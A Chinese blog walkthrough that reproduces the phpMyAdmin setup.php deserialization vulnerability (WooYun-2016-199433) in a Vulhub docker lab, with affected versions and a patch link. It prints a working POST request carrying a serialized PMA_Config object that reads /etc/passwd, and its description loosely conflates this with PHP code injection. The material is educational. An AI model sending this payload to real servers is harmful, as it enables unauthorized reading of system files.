漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)

Phpmyadmin setup漏洞复现

漏洞描述

phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL。

phpMyAdmin的Setup脚本用于生成配置。如果远程攻击者向该脚本提交了特制的POST请求的话,就可能在生成的config.inc.php配置文件中包含任意PHP代码。由于配置文件被保存到了服务器上,未经认证的远程攻击者可以利用这个漏洞执行任意PHP代码。

影响版本

受影响系统:
phpMyAdmin phpMyAdmin 3.x
phpMyAdmin phpMyAdmin 2.11.x

不受影响系统:
phpMyAdmin phpMyAdmin 3.1.3.1
phpMyAdmin phpMyAdmin 2.11.9.5

攻击环境要求
phpMyAdmin版本:早于2.11.9.5的2.11.x和早于3.1.3.1的3.x;
此漏洞只针对采用向导模式安装的phpMyAdmin有效,而对采用手动安装的无效;
管理员必须未删除"/phpMyAdmin/“目录下的”/config/“子目录,因为”/scripts/setup.php"尝试创建的下面PHP代码注入的"config.inc.php"文件正是在这个子目录下。

漏洞复现

漏洞复现这里我用vulhub去生成漏洞环境,这样比较方便。vulhub的搭建和使用,可以看这篇教学文章,写得比较详细:

Kali搭建Vulhub环境

1、生成漏洞环境

cd /vulhub-master/phpmyadmin/WooYun-2016-199433

docker-compose up -d

漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)
浏览器访问漏洞地址:
http://your-ip:8080
(如果在kali(或你docker的所属机子 )上,可以用127.0.0.1:8080直接访问)
漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)成功访问,提示报错Mysql错误,这里没有关系,因为这个漏洞不需要用到数据库,所以直接输入payload攻击即可。
构造post数据请求包:
自己复现的时候只要把请求包中的your-ip改成目标的ip即可。

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}


BurpSuite抓包:
漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)漏洞存在,攻击语句成功执行。

漏洞修复

厂商补丁:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12301

    文章原创,欢迎转载,请注明文章出处: 漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433).。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

上一篇:java-InetAddress.getAddress()始终返回null,但是仍然可以使用


下一篇:编写一个JAVA小程序取得IP地址